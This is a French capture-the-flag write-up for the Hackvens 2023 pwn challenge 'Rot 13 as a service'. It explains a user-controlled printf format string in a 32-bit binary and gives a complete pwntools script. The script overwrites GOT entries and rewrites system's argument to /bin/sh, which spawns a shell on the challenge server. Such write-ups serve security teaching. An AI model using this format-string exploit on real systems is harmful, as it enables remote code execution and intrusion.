[Hackvens 2023][Write Up – Pwn] Rot 13 as a service

Enoncé


J’ai installé ce service de rot13 trouvé sur github sur mon serveur, je n’ai pas regardé, mais j’espère qu’il n’y a pas de backdoor…

nc 15.236.42.118 1337


 

Rot13 as a Service

Rot13 as a Service

 

Reconnaissance

Le binaire « rot13.elf » qui est fourni est un exécutable linux x86.

file rot13.elf

file rot13.elf

En termes de protections:

  • Partial RELRO: La Global Offset Table (GOT) est réinscriptible.
  • No canary: Pas de protections contre les buffer overflow
  • NX: La stack n’est pas exécutable
  • No PIE: Les adresses du programme seront fixes
checksec rot13.elf

checksec rot13.elf

 

Reverse

Trois fonctions semblent importantes ici:

  • srot13
  • Main
  • func

Pas besoin ici de reverse la fonction srot13. Au vu du nom du programme, on peut deviner qu’elle transforme l’entrée en appliquant l’algorithme rot13 (Chiffre de César avec un décalage de 13).

fonction main

fonction main

 

fonction main, 2eme partie

fonction main, 2eme partie

 

Le programme lance son introduction, et demande une entrée utilisateur.

intro du binaire

intro du binaire

 

Ensuite, le programme va lire 0x100 bytes depuis stdin, y appliquer la fonction srot13, puis l’afficher en premier argument de la fonction printf.

demande d'entée utilisateur

demande d’entée utilisateur

 

Enfin, la fonction func, appelle system avec comme argument « /bin/ls ».

call à system

call à system

 

La chaine de caractère est dans la section .data.

section .data

section .data

 

La section .data est ici alloué comme réinscriptible (W => write).

La vulnérabilité

Le premier argument de la fonction printf est normalement réservée aux « formats string« . Ici, elle peut être contrôlée par l’utilisateur et permettre de lire et écrire en mémoire.

Exploitation – base

Pour faciliter l’exploitation, voici une fonction qui transforme l’entrée utilisateur avec du rot13:

def rot13(x):
    res = b''
    for i in x:
        if 0x61 <= i <= 0x61+26:
            res += bytes([0x61 + (i-0x61 + 13)%26])
        elif 0x41 <= i <= 0x41+26:
            res += bytes([0x41 + (i-0x41 + 13)%26])
        else:
            res += bytes([i])
    return res

Exploitation – ret2main

L’objectif ici, est de pouvoir effectuer autant de formats string que l’on désire.
Pour cela, on va exploiter le fait que la GOT soit réinscriptible.
La première étape consiste à savoir où est notre entrée utilisateur par rapport à la stack.
Voici une documentation qui explique les spécificateurs de format.

Ici, l’entrée se trouve au 11e élément, on peut le vérifier avec « AAAA%11$p » (AAAA -> NNNN en rot13) :

format string 101

format string 101

On va se servir du spécificateurs %n pour réécrire l’adresse de exit dans la GOT, pour à la place appeler la fonction main, et pouvoir effectuer nos formats string à l’infini.
Pour rappel:

  • %n écrit à l’adresse pointée dans la stack (l’adresse affichée lors d’un %p), le nombre de caractère qui ont été écrits avant le spécificateur de format. Par exemple, dans AAAA%4$n, le nombre 4 sera écrit.
  • Il est possible d’écrire un byte (taille 1) avec %hhn, et un word (taille 2) avec %hn.
  • Pour écrire X caractère dans le buffer, il est possible d’utiliser %.[nombre]x pour afficher un nombre en hexa, paddé avec [nombre] de 0.
def rot13(x):
    res = b''
    for i in x:
        if 0x61 <= i <= 0x61+26:
            res += bytes([0x61 + (i-0x61 + 13)%26])
        elif 0x41 <= i <= 0x41+26:
            res += bytes([0x41 + (i-0x41 + 13)%26])
        else:
            res += bytes([i])
    return res


r = remote('15.236.42.118',1337)
#ret2main
reloc_exit = 0x0804c014
main = 0x0804932b
#on écrit main à la place de exit
payload = p32(reloc_exit)+b'%.'+str((main&0xffff) - 4).encode()+b'x%11$hn'
payload = rot13(payload)
print(payload)
r.sendline(payload)
r.recvuntil(b' : \n')
r.interactive()

Après toute la chaine de 0, on remarque que l’appel à la fonction exit a bien été remplacée par un appel à main:

remplacement de exit par main

remplacement de exit par main

 

Exploitation – réécrire la commande, et appeler func

Maintenant que l’on peut effectuer autant de formats string que l’on veut, on va pouvoir réécrire d’autres éléments de la mémoire plus facilement.
Pour commencer, on a réécrit l’argument de system (« /bin/ls »), et le remplacer par « /bin/sh ».
Enfin, on va reremplacer l’adresse de main dans exit par l’adresse de func, pour lancer /bin/sh.

Solve.py

from pwn import *

def rot13(x):
    res = b''
    for i in x:
        if 0x61 <= i <= 0x61+26:
            res += bytes([0x61 + (i-0x61 + 13)%26])
        elif 0x41 <= i <= 0x41+26:
            res += bytes([0x41 + (i-0x41 + 13)%26])

        else:
            res += bytes([i])
    return res

r = remote('15.236.42.118',1337)
#ret2main
reloc_exit = 0x0804c014
main = 0x0804932b
payload = p32(reloc_exit)+b'%.'+str((main&0xffff) - 4).encode()+b'x%11$hn'
payload = rot13(payload)
print(payload)
r.sendline(payload)
r.recvuntil(b' : \n')
print(r.recv())
#edit system argument
cmd = 0x0804c09c
payload = p32(cmd+5)+b'%.'+str((int.from_bytes(b'sh','little')&0xffff) - 4).encode()+b'x%11$hn'
payload = rot13(payload)
print(payload)
r.sendline(payload)
r.recvuntil(b' : \n')
print(r.recv())
#ret2func
func = 0x08049243
reloc_exit = 0x0804c014
main = 0x0804932b
func = 0x08049243
payload = p32(reloc_exit)+b'%.'+str((func&0xffff) - 4).encode()+b'x%11$hn'
payload = rot13(payload)
print(payload)
r.sendline(payload)
r.recvuntil(b' : \n')
print(r.recv())

r.interactive()

On obtient alors un shell:

Encore un super flag

Encore un super flag

Flag

HACKVENS{F0rm@T_StrIn9_w1tH_r0t13}

BDENNEUINGÉNIEUR SÉCURITÉ
Yolo

Add a comment

*Please complete all fields correctly